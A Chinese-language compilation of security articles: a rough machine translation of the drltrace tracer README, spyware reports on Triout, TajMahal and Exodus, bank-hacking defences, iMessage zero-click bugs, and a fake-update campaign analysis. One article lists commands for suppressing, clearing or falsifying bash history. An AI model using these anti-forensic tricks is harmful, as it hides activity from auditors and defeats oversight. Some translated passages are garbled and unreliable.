0x745c7000, 0x7456e8a0, 0x00081857, 0x73b971e1, C:
\Windows\System32\advapi32.dll 9, 9, 0x748f0000,
0x74929000, 0x748febd0, 0x00045303, 0xa58be652, C:
\Windows\System32\cfgmgr32.dll 10, 10, 0x74930000,
0x75c78000, 0x74aa09d0, 0x01377aa6, 0x4b39926b, C:
\Windows\System32\SHELL32.dll
```

Drltrace

Drltrace可以通过指定-only_from_app选项来轻松过滤掉掉所有程序的主模块（或堆）执行的API调用，这对于生成大型日志的应用程序非

常有用.Drltrace还有几个有用的外部脚本来过滤某些库的API调用，只打印可能有趣的API调用和字符串。

执照

Drltrace主要模块在BSD下被分发。

drltrace所需的一些文件在LGPL下是distrubuted。有关详细信息，请参阅源文件

动机

恶意软件分析并非易事。像Themida和Armadillo这样的复杂软件包装工具当然还有数十个由恶意软件作者编写的未命名的打包器以及代码和数据加密技术，大大方便了（在某些情况下完全不可能）这些样本的静态逆向工程使得恶意软件分析师的生活变得复杂。在这种情况下，API调用跟踪可以显着减少了解实际恶意意图所需的时间，并揭示有关受保护恶意代码的大量技术细节。

虽然传统的API挂钩技术已在多个解决方案中成功实施，但该方法已被恶意软件作者充分研究，并且可以轻松检测和/或绕过。此外，这些工具作为独立的重量级GUI应用程序（作为专有产品）分发，这些应用程序通常不容易在现有的恶意软件分析工作流程中集成。

如果我们看看Linux世界，有一个很棒的工具叫做ltrace。使用单个bash命令，我们可以轻松获得某个可执行文件的API调用的完整跟踪。

为什么我们不为**Windows**提供这样的工具（如**Linux**中的**ltrace**），这对于现代恶意软件使用的反研究技巧也是透明的？

它转变为有一种技术可以帮助我们为Windows提供这样的工具，并对执行程序透明地跟踪API调用。这种技术称为动态二进制检测，即DBI.DBI是一种通过注入检测代码在运行时分析二进制应用程序行为的技术。

但是，DBI用于恶意软件分析的应用受到了解包自动化以及指令，基本块和函数调用跟踪概念的若干证明的不应有限。据我们所知，drltrace是基于DBI的API调用跟踪的第一个工具，可以在实践中用于恶意软件分析。我们在wiki中提供了几个恶意软件分析示例，其中我们描述了drltrace如何允许在几分钟内陶醉许多关于复杂恶意样本的内部技术细节，甚至无需启动IDA或调试器。

为什么选择**Drltrace Rock**？

- 足够快，可以执行恶意样本分析，而不会被基于时间的反研究技术检测到。
- 支持86和64（未来的ARM）。
- 支持的Windows和Linux（将来的Mac系统）。
- 支持自修改代码。
- 支持所有类型的库链接（静态和动态）。
- 通过标准的反研究方法（反钩，反调试和反仿真）无法检测到。
- 用户可以轻松添加新的函数原型，告诉drltrace如何打印有关以前未知的API调用的更多详细信息（甚至是非系统DLL）。使用外部配置文件。
- 易于使用和修改，用于您自己的目的（没有额外的包要求，没有重量级的GUI界面）。
- 开源，代码清晰，文档齐全。您可以在drltrace之上自由构建和使用自己的高级解决方案。

命令行选项

```
-logdir [ .] Log directory to print library call
data -only_from_app [ false] Reports only library
calls from the app -follow_children [ true] Trace
child processes -print_ret_addr [ false] Print
library call's return address -num_unknown_args [
2] Number of unknown libcall args to print -
num_max_args [ 6] Maximum number of arguments to
print -default_config [ true] Use default config
file. -config [ ""] The path to custom config
file. -ignore_underscore [ false] Ignores library
routine names starting with "_". -only_to_lib [
""] Only reports calls to the library
&amp;lt;lib_name&amp;gt;. -help [ false] Print
this message. -version [ false] Print version
number. -verbose [ 1] Change verbosity. -
use_config [ true] Use config file
```

配置文件语法

Drltrace支持外部配置文件，用户可以在其中描述drltrace应如何为某些API调用打印参数。

```
HANDLE|CreateRemoteThread|HANDLE|
SECURITY_ATTRIBUTES*|size_t|THREAD_START_ROUTINE*|
VOID*|DWORD|__out DWORD*
```

每个函数参数都应该用|。第一个参数是返回类型，第二个参数是函数名称本身，其余参数是函数参数令牌out用于标记输出参数，_ INOUT用于标记输入＋输出参数。

恶意软件分析示例

您可以在 Wiki页面找到如何使用drltrace分析复杂恶意软件的示例。

记录可视化

为了简化日志文件的工作，这里实现了一个脚本api_calls_viz.py，可以用来生成RGB图像，其中每个像素颜色代表唯一的API调用。例如，下图显示了WannaCry恶意软件的日志文件。

「图」

「图」

图片中的大绿域表示API调用（`wcscmp/wcsicmp`），用于选择具有有趣扩展名的文件（例如docx，xl s，py）来加密它们。紫域表示API调用（`FindFirstFile/FindNextFile/CryptEncrypt`），用于枚举和加密磁盘上的文件和文件夹。

该脚本还可以生成生成的RGB图像的HTML表示，其中可以选择每个元素以显示API调用的名称。

「图」

「图」

这里是原始HTML文件。

有关详细信息，请参阅`api_calls_viz` 目录。

如何建立

您可以在此Wiki页面上找到详细的手册。

OS支持

在Windows，Linux（未来的Mac系统）。

CPU架构支持

x86，x64（列表中的ARM）。

语言

C和C ++标准库（以及用Python编写的日志处理脚本）。

技术细节

我们决定在动态二进制检测框架DynamoRIO之上实现我们的API调用跟踪器.Drltrace要求DynamoRIO执行LoadLibrary调用的检测，以便能够处理目标进程正在加载的新库。当进程尝试加载新库时，DynamoRIO会将控制流重定向到drltracelib.dll。反过来，drltrace枚举新加载的DLL中的导调函数，并为每个函数注册一个特殊的回调函数。因此，如果恶意软件会调用某些导出的函数，则会在此函数之前执行drltrace的回调，并且该工具将能够记录所有必要的信息，例如函数名和参数。可以在保存执行结果的函数之后注册另一个回调。

为什么不是Intel Pin？决定使用DynamoRIO的原因如下：#DynamoRIO的源代码可在github.com上获得，并在BSD许可下分发，而Intel Pin是专有软件。

- DynamoRIO在开发时的基本要求之一是对仪表化可执行文件的透明度。
- DynamoRIO使用基于代码转换的不同仪器技术，而英特尔PIN使用特殊的蹦床，这对于分析的可执行文件不透明，可能被恶意软件检测到。

致谢

Maksim Shudrak https://github.com/mxmssh

Derek Bruening https://github.com/derekbruening

原文

针对性攻击 - iYouPort

技术-攻击防御和反抗

一个合法的应用程序，它可以帮助用户访问被删除或被阻止的网站，但是，它被与 Android 间谍软件秘密捆绑在一起，引诱人们在第三方市场上下载。

该应用程序称为 Psiphon，打包为 com.psiphon3，已经从官方 Google Play 商店被下载了超过5000万次。但是通过非官方渠道获得该应用程序的用户可能已经下载到了一个被破坏的版本，使用 Triout 感染的版本，Triout 是一个引入了广泛监控功能的恶意软件框架。

去年8月，Bitdefender 的研究人员报告了其最初发现的 Triout，当时发现它与成人内容应用捆绑在一起。

但 Bitdefender 在2月7日的博客文章中披露的这一最新计划反而是针对那些反互联网审查的 Android 设备所有者。这可能包括被限制信息自由的压迫政权管理的国家的用户。

从用户的角度来看，恶意应用程序的功能与正版完全一样，博客文章作者和高级电子威胁分析师 Liviu Arsene 报道。但是在后台暗地里，间谍软件正在录制电话、记录传入的短信、录制视频、拍照和收集 GPS 坐标。

Triout 然后将这些内容泄露给攻击者的命令和控制服务器，其IP地址被 Bitdefender 跟踪到法国折扣零售网站 magicdeal.fr，这可能是合法的，也可能是不合法的。

恶意行为者还合并了三个广告软件组件，为自己创造了额外的收入，博客文章仍在继续。

根据 Bitdefender 的说法，恶意的 Psiphon 应用程序于去年10月11日被检测到，但是从2018年5月2日到2018年12月7日有效。在整个这段时间内，研究人员只发现了7个受影响的设备; 但是，Bitdefender 遥测之外的其他用户可能也会受到影响。

⚠ “值得考虑的是，受害者和受感染设备数量较少，再加上它具有强大的间谍软件功能这一事实，可能表明 Triout 是主要用于针对少数人的高度针对性的间谍活动“。

像 Triout 这样的恶意软件将无处不在的 Android 设备变成了“完美的间谍”，Bitdefender 警告说，发现新样本和极受欢迎的应用程序的受损版本可能预示着在不久的将来发生更多此类事件。

Alegitimate application that’s supposed to help users access censored or blocked websites was secretly bundled with Android spyware and made available for download on third-party marketplaces

原文

隐藏 bash 历史命令的小技巧 - iYouPort

技术-攻击防御和反抗

如果你登录过 Linux 系统，并敲过一些命令，那你应该知道，bash history 会记录你输入的所有命令。这个操作其实是有一定风险的。

「图」

「图」

我个人经常使用 Linux，所以我想着研究一番，看看如何隐藏 bash history。下面就是我整理的一些方法，仅供大家参考：

· exit normally – history 记录正常写入

· kill「bash process ID」 – 服务器端运行 -kill bash 进程ID后就不会再记录 history 了。我检查过是否需要加-9参数，不过不用，只需要一个基本的 kill 命令，就可以杀掉进程并阻止它写入文件。

· kill「ssh process ID」 – 客户端运行–kill ssh 进程 ID，即时加了-9参数还是会有历史记录。

· set ＋o history – 不会将任何当前会话写入日志。可以在会话期间任何时间运行，并隐藏所有命令。

· set -o history – 重启日志记录，但是会记录 set 命令，所以会发生一些明显的变化。

· unset HISTFILE – 清除记录历史文件位置的变量，这样就不会存储任何东西

· history -c – 彻底清除历史。这条命令作用非常明显，因为所有的历史命令都没了。

· export HISTIGNORE＝“ls:*cat*” – 这条命令是不记录引号中以冒号为分隔符的命令。这条命令可以使用shell模式，有点类似正则，但不尽

相同

· export HISTFILESIZE＝10 – 设置历史记录数量为10。如果你已经完成了想要隐藏的操作，但又想保留其他的命令，请重新计算，将记录数的大小设置为小于总数并继续执行。这样，所有之前的命令就会不可见，看起来会有一些可疑，但是因为历史记录中还是有内容，所以人们可能不会注意到。

· editing the.bash_history file – 如果你在会话期间编辑这个文件，编辑的内容将会出现在会话的命令之前，这样你其实可以在 history 中添加一些你实际并没有运行过的命令，所以这也不失为一个好办法。

· using multiple sessions – 一个会话终止时才会写入 bash history。那我们可以使用两个会话，第一个会话终止会写入history，然后第二个会话的内容会在第一个会话终止时才开始写入 history

· putting a space before a command（命令前面加一个空格） – 根据配置，在命令前加一个空格，就会不进行记录。如果你已经输入了你不想记录的命令，那么这个功能就没什么用，但如果想让几条好不相关的命令看似一条的话，使用这个还是不错的。在使用之前请先进行测试，因为根据发行版和用户配置不同，情况会有所不同。另请阅读：更高效地使用 bash history:HISTCONTROL

· history -r – 这条命令会重新读取 history 文件，能够将历史记录重置为你登录时的状态。这条命令似乎非常有用，尤其是你可以编辑 history 文件，添加命令时，然后关掉 shell。这会写入经过你修改的 history，不留任何痕迹。

上面这些命令，好像“set ＋o history”是最好用的也是最通用的方法，因为它会隐藏当前会话的所有命令，但是会保留之前的命令。

不过根据场景不同，其他的命令也是非常有效的。

在你使用这些命令之前，一定要先自己测试一遍。当你已经登录了一个系统，而且意识到需要隐藏某些命令时，不要慌张，history 只会在会话结束时写入，所以只要会话还没有结束，你就可以停下来思考，怎么去隐藏命令，希望本文的内容能够帮到你。■

原文

隐身的大象 - iYouPort

技术-攻击防御和反抗

房间里有一只大象，其结构极为复杂，和任何一种大象都不一样，而且，它在房间里秘密活动了至少5年，而从未被发现。这是怎么回事？

「图」

「图」

安全研究人员并非每天都能发现一个新的由国家赞助的黑客组织；更罕见的是一个间谍软件具有80个不同的模块，具有奇怪而独特的网络间谍技巧—— 而且已经秘密活动了至少五年。

在新加坡举行的卡巴斯基安全分析师峰会（Kaspersky SecurityAnalyst Summit）上，卡巴斯基安全研究员 Alexey Shulmin 透露，卡巴斯基发现了一个名为 TajMahal 的新间谍软件框架，这是一款可适应的模块化软件，带有用于不同间谍任务的插件。TajMahal 是根据间谍软件将被盗数据从受害者电脑上转移出来的一个文件命名的。

Shulmin 说，TajMahal 框架的80个模块不仅包括其他间谍软件典型的键盘记录和屏幕抓取功能，还包括一些前所未见的和模糊的功能。

它可以截取打印机队列中的文档，并跟踪“感兴趣的文件”，如果 USB 驱动器插入受感染的计算机，则会自动窃取数据。卡巴斯基说，这种独特的间谍软件工具包没有任何已知的民族国家黑客组织的指纹。

“如此庞大的模块组合告诉我们，这个APT非常复杂，”Shulmin 在他的演讲之前的一次电子邮件采访中写道，APT 是高级持续性威胁，指的是那些能够长期和隐蔽地访问受害者网络的复杂黑客。“TajMahal 是一个非常罕见的、技术先进和复杂的框架，其中包括我们以前从未在任何其他 APT 活动中看到的许多有趣的功能。再加上这个 APT 有一个全新的代码库—— 与其他已知的 APT 和恶意软件没有任何相似

性—— 我们认为 TajMahal 是独特的和有趣的。“

去年秋天，卡巴斯基说，它首次在一个受害者的网络上发现了 **TajMahal** 间谍软件框架：是一个中亚国家的大使馆，卡巴斯基拒绝透露其国籍和位置。但考虑到该软件的复杂性，**Shulmin** 说 **TajMahal** 可能已部署在其他地方了。

“对于只有一名受害者来说，这种巨额投资似乎不太可能的，”他写道。“这表明还有其他受害者尚未确定，或者是这种恶意软件的其他版本，或者两者兼而有之。”

这些初步调查结果可能表明，这是一个非常谨慎的国家支持的情报收集行动，Jake Williams 说，他是国家安全局的定制访问操作黑客部门的成员，他说，“它的可扩展性需要一个庞大的开发团队”。

Shulmin 表示卡巴斯基尚未能够通过代码匹配、共享基础设施或熟悉技术的常用方法将 TajMahal 关联到任何已知的黑客组织，TajMahal 以间谍软件用来将被盗数据从受害者机器上移出的文件名命名。

考虑到该描述的模糊性以及拥有中亚利益的复杂黑客团队的国家，包括中国、伊朗、俄罗斯和美国在内，其中亚目标并未提供任何关于黑客身份的简单线索。卡巴斯基也没有确定 TajMahal 背后的黑客如何获得对受害者网络的初始访问权限。

但是他们确实注意到该组织在机器上制作了一个初步的后门程序，黑客将其标记为“Tokyo”。这个后门使用 PowerShell 连接到命令和控制服务器，并植入 TajMahal 的多功能间谍软件 Yokohama。

Yokohama 除了拥有一些常见的间谍功能，也具备一些特殊功能。如受感染的电脑在插入USB驱动器时，它会扫描和上传命令和控制服务器的列表，黑客组织可以决定窃取哪些文件。如果在黑客决定之前USB驱动器已从设备上删除，TajMahal 可以自动监控同一驱动器的USB端口，可在USB驱动器下次出现时将黑客所需文件上传。

虽然这些功能都不是特别华丽，但整体上显示这是一个细心的对手，他们正在努力辨别出受害者计算机中庞大而混乱的内容中的哪些文件可能值得偷窃。“如果这些信息在某种程度上不重要，那就不会打印信息，将其保存到USB记忆棒，或将其刻录到CD上，”Shulmin 说。

考虑到它的精致和不拘一格的特征，并且未被发现的时间非常长，卡巴斯基说，某中亚大使馆的受害者至少自2014年以来一直受到损害。

但是 TajMahal 的编程时间—— 指示其中一段编程的时间戳—— 表明它在该日期之前和之后很久都是活跃的。有些模块可以追溯到2013年，而其他模块最近的日期是2018年。

“显然它已经至少秘密运作了五年以上。这提醒网络安全社区，我们从未真正全面了解网络空间发生的一切。”

“It is a reminder to the cybersecurity community that we never really have full visibility of everything that is going on in cyberspace.” MYSTERIOUS HACKERS HID THEIR SWISS ARMY SPYWARE FOR 5 YEARS

原文

骇客们已经进入Apple生态系统，也许就是你的手机 - iYouPort

技术-攻击防御和反抗

世界各地的私营公司已经发展成为一个灰色产业，为政府和地方执法部门提供数字监控和黑客工具。现在，骇客们已经进入了 Apple 的生态系统，也许就是你的手机。他们是怎么做的？……

「图」

「图」

世界各地的私营公司已经发展成为一个灰色产业，为政府和地方执法部门提供数字监控和黑客工具。由于曾经鲜为人知的做法已经增长，因此产生的恶意软件也是如此。研究人员现已发现，之前在 Google Play 商店中发现的其中一种间谍软件产品也针对 iOS。

在新加坡举行的卡巴斯基安全分析师峰会上，来自移动安全公司 Lookout 的研究人员展示了关于 iOS 版间谍软件 Exodus 的调查结果。非营利组织 Security Without Borders 在3月底与 Motherboard 一起发布了其 Android 版本的详细信息。然而，Exodus 拥有iOS版本的事实显示了恶意软件及其背后的资源令人印象深刻的覆盖范围。

iOS 版 Exodus 看起来像一个移动运营商支持应用程序，使用iOS提供合法应用程序的所有机制尽可能多地获取目标数据。

目前还不清楚 Exodus 是针对特定的个人还是更广泛的群体，但在过去一年中，研究人员观察到攻击者设置了网络钓鱼陷阱以引导用户使用恶意应用程序。这些网站的设计看起来像分别位于意大利和土库曼斯坦的—Wind Tre SpA 和 TMCell 移动运营商的信息页面。从那里开始，这些页面将受害者引导到 Google Play 商店或用于下载企业应用程序的 Apple workflow。

攻击者可以将 Android 应用程序直接放入 Google Play，但是他们要么无法进入 Apple 的 App Store，要么没有尝试。相反，他们使用 Apple 的开发者企业计划—— 一个机构可以用来在内部分发他们自己的应用程序的平台—— 以合法的方式传播他们的间谍软件。

Apple 一直在保持其应用生态系统的封闭；在非越狱 iOS 设备上安装软件的唯一方法是通过 Apple 的 App Store 审核流程或获取企业分发证书。从 Apple 购买这些证书相对容易，只需300美元。如今这种方法作为攻击者传播 **iOS** 恶意软件的方式已经变得越来越普遍。

安装后，**Exodus** 可以访问目标设备上的照片、视频、设备**ID**、录音和联系人，同时还可以跟踪受害者的位置并通过 **iPhone** 或 **iPad** 的麦克风窃听他们的对话。Android 和 iOS 版本的 Exodus 现已被阻止。苹果拒绝发表评论。

Lookout 研究人员表示，过去五年来，攻击者似乎一直致力于发布 Exodus 的 Android 版本。在 Android 上，间谍软件分三个阶段工作，以获得对受害者设备的深入访问，首先建立立足点，然后安装更大的有效负载以设置监视功能，然后利用漏洞获取root权限。

该恶意软件的iOS版本似乎是最近出现的，它并不依赖于利用漏洞来入侵，而是依靠用户无意中授予应用程序运行其监视工具的权限。Lookout 的 Bauer 指出，用户可能会通过关闭一些访问权限来阻止监控，但是任何已经被欺骗认为该应用程序合法的人都不会质疑它。

研究人员表示，Exodus 的发展和分配机制已经显示出高水平的专业性。例如，命令和控制基础设施受到严密监视和保护—— 这是被许多恶意软件制造商忘记的预防措施。在分析这个框架时，研究人员表示他们发现 Exodus 可能是由意大利视频监控软件公司 eSurv 和它在2016年收购的一家名为 Connexxa 的公司开发的。 eSurv 的网站已不再存在，无法联系到该公司发表评论。

“特别是在 Android 上总是有很多关于恶意软件的讨论，但这实际上是两个移动平台都受到影响的情况，”Lookout 安全情报高级经理 Christoph Hebeisen 说，“在这两种情况下，由于iOS的企业部署以及 Android上 的 Play 商店，它是一种看似合理的合法分发机制。因此，保护您的移动设备免受这些东西的侵害至关重要。“

移动用户可以采取预防措施，通过保持警惕避免相信网络钓鱼链接、并坚持直接从 Google Play 或 App Store 下载的主流应用程序来避免间谍软件。但是 Exodus 在两个平台上的存在表明，在实践中绕过阴

险的精心制作的间谍软件已经非常困难。不幸的是，这类东西的存在越来越多。

‘EXODUS’ SPYWARE POSED AS A LEGIT IOS APP. Exodus’s presence on both platforms shows just how difficult it is in practice to skirt insidious, well-crafted spyware. And unfortunately, there’s more and more of it out there all the time.

原文

骇客如何入侵您的银行帐户：5种方法 - iYouPort

技术-攻击防御和反抗

保护自己的财物安全

「图」

「图」

如今已经越来越多的人开始使用网上银行，引来骇客的兴奋应该不足为奇。那么他们是怎么做的？

本文总结一下关于骇客如何定位您的银行帐户的手段，以及您可以如何保持安全。

1、手机银行木马

如今您可以通过智能手机管理所有财务。通常，银行会提供一个官方应用程序，您可以从那里登录并检查您的帐户。

虽然方便，但它已成为恶意软件作者的主要攻击手段。

假的应用程序 ——

较简单的攻击手段就是伪造现有的银行应用程序。攻击者可以创建银行应用程序的完美副本，并将其上传到可疑的第三方网站。

如果您下载的是假的应用程序，您在其中输入的用户名和密码会被直接发送给攻击者。

应用劫持 ——

更加时髦的版本是移动银行木马。这种并没有伪装成银行的官方应

用；它们通常是一个完全不相关的应用，其中安装了木马程序。

当您安装此应用程序时，木马程序开始扫描您的手机中的银行应用程序。

当它检测到正在启动的银行应用程序时，该恶意软件会迅速弹出一个窗口，该窗口看起来就像是来自您刚启动的应用程序。

如果足够顺利，用户将不会注意到已经被调包，以至于将账户详细信息输入到假的登录页面上。然后这些账户凭据就会传送给恶意软件作者。

通常这些木马还需要SMS验证码来完成攻击。为此它们通常会在安装过程中要求SMS读取权限。

如何防止这类攻击 ——

从应用商店下载应用时请注意其下载量。如果下载量很少且几乎没有评论，那可能很难说其中是否包含恶意软件。

如果您看到一家知名银行的 “官方应用程序” 却下载量很少，要加倍警惕，那很可能是骗子。

同样，请注意您授予应用程序的权限。

如果某个手机游戏要求您提供SMS读取权限，但没有说明为什么要使用它们，请注意安全，不要安装该应用。

- 《您真的理解应用权限都授予了什么吗？这里是保护您安全的重要知识》

切勿从第三方网站安装应用程序，因为它们很可能包含恶意软件。

2、钓鱼

随着越来越多的人开始熟悉网络钓鱼攻击的手段，攻击者已经变换了更加狡猾的方式。

其中就包括，破解律师的电子邮件帐户，并通过此地址发送钓鱼邮件。由于它看起来就是您信任的人发来的邮件，于是很多人会上当。

这种手段的危险在于，用来做攻击媒介的电子邮件地址是完全合法

的，攻击者甚至可能以亲密的语气和您交谈。一位不幸的购房者由于回复了这种电子邮件而损失了67,000英镑。

如何防止这类攻击 ——

显然，如果电子邮件地址看起来可疑，那么就应该怀疑其内容。如果该地址看起来合法但有“冒充”迹象，请通过其他您了解的方式与此人联系，以验证邮件内容是否来自您认识的那个人。

对于您熟悉的人或对您来说重要的人，您应该保留其多种不同的联系方式，在出现可疑情况的时候用以验证，这很重要。攻击者能劫持其中一个联系方式，却很难劫持所有途径。

尤其是，您必须随时保证在线暴露最小化。对您了解得越多的人，就越容易盗取您的身份。

尤其是在社交媒体上，请仔细考察您发布过的任何信息，从头像到简介，从帖子到照片和视频。其中隐藏的信息如果被整合起来很可能非常危险。

并且您认为已经被删除的信息也同样有可能保留在互联网上，比如时光机，再比如他人的截图。所以，在发布消息之前斟酌清楚，非常重要。

- 《巧用互联网，以找到您最想要的信息：搜索思维作为基本功》

并且不要乱加“朋友”，朋友角色将获得更多了解您的权限，所以要小心。

- 《如何识别 Facebook 上的假朋友请求》

3、键盘记录器

键盘记录程序是一种恶意软件，可以记录您所键入的任何内容 —— 包括登陆凭据，并将信息发送回攻击者。

如何防止这种攻击 ——

安装可靠的防病毒软件，并确保它经常检查系统。一个好的杀毒软件会嗅探键盘记录程序并清除它，以免造成损坏。

如果您的银行支持双因素身份验证，请确保启用此功能。这会使键盘记录程序的效率大大降低，因为即使攻击者获得了您的登录详细信息，他们也无法复制身份验证代码。

4、中间人攻击

有时，黑客会以您与银行网站之间的通信为目标，以获取您的详细信息。这被称为中间人（MITM）攻击，顾名思义就是拦截您与合法服务之间的通信。

通常，MITM攻击涉及监视不安全的服务器并分析流经的数据。当您通过该网络发送登录详细信息时，攻击者就可以窃取它们。

但有时，攻击者会使用DNS欺骗来更改您在输入URL时访问的站点。这意味着 www.yourbankswebsite.com 没有把您带到预期的银行，而是转向了攻击者拥有的克隆站点。

这个克隆的站点看起来与真实的站点完全相同。如果您不够小心，就会在假网站上提供自己的登录详细信息。

如何防止这种攻击 ——

切勿在公共的或不安全的网络上执行任何敏感活动。使用更安全的网络例如家庭Wi-Fi。另外，登录到敏感站点时，请始终在地址栏中检查 HTTPS。如果不存在，则很有可能是假网站。

如果您必需通过公共Wi-Fi网络执行敏感活动，您需要一个可靠的加密的VPN。如果有人在监视您的连接，他们只会看到无法读取的加密数据包。

- 《如何检查您的VPN连接是否实际加密》

5、SIM卡交换攻击

SMS身份验证码是攻击者面临的最大问题。不幸的是，他们有一种躲避这些检查的方法，甚至不需要您的手机就能做到。

要执行SIM卡交换，攻击者会与您的网络提供商联系，并假扮您的身份。他声称丢失了手机，并希望将其旧号码（这是您当前的号码）转移到他拥有的SIM卡中。

一旦攻击者的SIM卡上有您的号码，他们就可以轻松绕开短信验证。当攻击者登录到您的银行帐户时，银行会将SMS验证码发送到攻击者的电话，而不是您的电话。显然，您的钱就归他们了。

如何防止这种攻击 ——

这点曾经有过详细介绍，见这里《如何抵制SIM卡交换攻击》。

要始终做到尽可能将您的个人信息保密，以免有人窃取您的身份。另外，值得检查的是，您的移动运营商是否正在尽其所能保护您免受SIM交换的侵害。

最后

网上银行对于您来说非常方便，对于骇客来说也是如此。值得庆幸的是，您可以尽最大的努力确保自己不受这些攻击的侵害。

以上是您基本应该做到的，足够抵制大部分攻击。〇

原文

骇客通过简单地发送文本即可闯入你的苹果设备 - iYouPort

技术-攻击防御和反抗

不需要你任何“不小心” —— 不需要你任何点击或输入凭据作为支持，骇客也可以轻松入侵你的设备；这种攻击被成为“无交互”

「图」

「图」

当您考虑骇客如何侵入您的智能手机时，可能会想到文本中的恶意链接、诱使目标下载欺诈性应用程序、或其他的某种由于不小心而让他们进入的方式。

事实证明，以上这些已经过时了 —— ⚠即使在 iPhone 上也一样 —— 你不需要任何一种“不小心”，仅仅接收 iMessage 就足以让你被骇客入侵。

在今年拉斯维加斯举行的黑帽安全会议上，Google Project Zero 研究员 Natalie Silvanovich 在 Apple 的 iOS iMessage 客户端中实现了多个“无交互”入侵操作，可以利用这些 bugs 来控制用户的设备。

虽然 Apple 已经修补了其中的六个漏洞，但还有一些尚未修补。

“这些 bugs 最终可以用于某种武器化的东西，入侵你的设备、访问你的数据，”Silvanovich 说。

“因此，最糟糕的情况是这些漏洞被用来伤害用户。”

Silvanovich 与 Project Zero 成员 SamuelGroß 一起从事这项研究工作。他因为最近一个戏剧性的 WhatsApp 漏洞而对互动更少的入侵方式产生了兴趣。

那个著名的 WhatsApp 漏洞让民族国家的间谍可以轻松破坏你的手机 —— 只需要打一个电话，即使收件人没有接听电话也无所谓。

Silvanovich 一开始认为 iMessage 会更安全，但当她开始逆向工程并寻找漏洞时，她很快发现了多个可利用的漏洞。

这可能是因为 iMessage 是一个如此复杂的平台，它提供了一系列通信选项和功能；并与其他应用程序集成 —— 从 Apple Pay 和 iTunes 到 Fandango 和 Airbnb。

所有这些扩展和互连都增加了其本身的脆弱性。

Silvanovich 发现的最有趣的 bug 之一是一个基本的逻辑问题，可以让骇客轻松地从用户的消息中提取数据。

攻击者可以向目标发送特制的文本消息，iMessage 服务器将发回特定的用户数据，如SMS消息或图像的内容。

⚠受害者甚至不必打开他们的 iMessage 应用程序，就可以实现攻击。

iOS 具有通常可以阻止此类攻击的保护措施，但是，由攻击者利用了系统的基础逻辑，iOS的防御措施会将其解释为合法。

Silvanovich 发现的其他bug可能导致恶意代码被投放在受害者的设备上，再一次 —— 仅仅传入文本即可实现。

看演示视频：

⚠漏洞利用供应商和民族国家骇客非常渴望这类无交互的 iOS 漏洞，因为它们使得攻击目标设备变得如此容易，根本不需要受害者的任何支持。

Silvanovich 发现的六个漏洞可能在开发市场上价值数百万甚至数千万美元。

真的应该非常感谢这些研究人员；要知道，对于如此值钱的 0day，很多人是拒绝公开的，而是拿去卖。在这里看到具体介绍《可怜正义没有钱》。

“就像这样的 Bugs，居然如此长时间没有被公开”，Silvanovich 说。

“iMessage 等程序中存在大量额外的攻击面。个别的 bug 相当容易修补，但你永远无法找到软件中的所有 bugs，你使用的每个库都将成为一个攻击面。因此，设计问题相对难以解决。”

Silvanovich 强调 iMessage 的整体安全性很强，并且 Apple 远远不是唯一一个在解决这个概念问题时犯错的开发人员。 Apple 没有回复 WIRED 的评论请求。

Silvanovich 说，她也在寻找 Android 中这类无交互 bug，但到目前为止还没有找到。

但她指出，几乎任何目标都可能存在此类漏洞。

在过去的一年里，她在 **WhatsApp**、**FaceTime** 和视频会议协议 **webRTC** 中都发现了类似的漏洞。

“人们总是非常关注加密等保护措施的实施，但是，如果程序在接收端出现bugs，那么加密的好坏就完全不重要了。”

⚠保护自己免受无交互攻击的最佳方法是保持手机操作系统和应用程序的更新; Apple 修补了 Silvanovich 发现的6个漏洞，就在最近发布的iOS 12.4和 macOS 10.14.6 中。

但除此之外，开发人员应该避免在代码中引入这种类型的错误，或者尽可能快地发现它们。

鉴于无交互性的攻击是多么无情，一旦恶意消息或呼叫开始涌入，用户就无法阻止它们了。所以，要快！○

HACKERS CAN BREAK INTO AN IPHONE JUST BY SENDING A TEXT

原文

高级攻击变得越来越容易了，这意味着什么？ - iYouPort

技术-攻击防御和反抗

虽然看到晚了，但这个攻击形式很别致，未来可能会再次出现。于是记录一下

「图」

「图」

一些最常见的网络威胁都具有社交工程学组成部分。也许“最受欢迎”的是通过恶意广告或被黑客入侵的网站推送欺诈性更新而引起的。

「图」

「图」

上图中这本书在这里下载：https://t.me/iyouport/6851

malwarebytes 最近发现了一个网站妥协案例，该方案以前从未见过。这是使用社交工程工具包进行的攻击的一部分，受感染的网站在过去几周内吸引了**100,000**多次访问。

从受感染的网站（其中大多数运行 WordPress）作为 iframe 加载并在顶部显示为附加层，它诱使受害者安装所谓的更新，如果更新，就会下载 NetSupport 远程控制工具。

本文将描述其战术、技术和程序（TTP），其中部分细节与过去和现在的一些社交工程攻击活动有关。

伪造的 Flash Player 更新

这个画面看起来像我们之前遇到的许多其他社交工程工具包模板一样。在这里，用户被欺骗以下载和运行 Flash Player 更新：

「图」

「图」

Fake Flash Player update notification

请注意，域名 wheellist [.] net 属于已被黑客入侵的合法网站，其中 chrom-update [.] online 的 iframe 放置在普通页面上方的一层：

「图」

「图」

Deobfuscated code found on compromised site that loads malicious iframe

点击 UPDATE 或 LATER 按钮可下载名为 “download.hta” 的文件，该文件已在 Atlassian 的 Bitbucket 平台上建立索引，并托管在 Amazon 服务器（bbuseruploads.s3.amazonaws.com）上：

「图」

「图」

Bitbucket project from user ‘Garik’

执行后，该 HTA 脚本将运行 PowerShell，并连接到 xyxyxyxyxy [.] xyz，以检索恶意软件有效载荷。

「图」

「图」

Malicious mshta script retrieves payload from external domain

该有效载荷是一个包含 NetSupport RAT 的软件包：

「图」

「图」

Process tree showing execution flow

「图」

「图」

Observed HTTP traffic confirming NetSupport RAT infection

关联到 “FakeUpdates” 又名 SocGholish

在2018年末，malwarebytes 记录了一个恶意重定向攻击，将其称为 FakeUpdates，它基于 EmergingThreats 的规则集也称为 SocGholish。

它利用受损的网站并在交付有效载荷（NetSupport RAT）之前执行一些我们所见过的最具创意的指纹检查。

最近有一条推文，通过受感染的网站 fistfuloftalent [.] com 报告 SocGholish，尽管链接的沙箱报告显示的是 malwarebytes 之前描述过的模板，但与 SocGholish 不同：

「图」

「图」

New theme erroneously associated with SocGholish

沙箱标记 SocGholish 的原因是，受感染的站点包含与之相关的工件，并且在某些情况下确实重定向到该站点：

「图」

「图」

SocGholish template

这个被黑的网站实际上托管了两个不同的攻击活动，并且基于某些浏览器和网络指纹，你可以遭遇其中一个或另一个攻击。

可以通过在两个不同的 JavaScript 部分中查看注入的代码来确认这一点，第一个由 EmergingThreats 规则集标记。

「图」

「图」

Comparing two campaigns by looking at the injected JavaScript

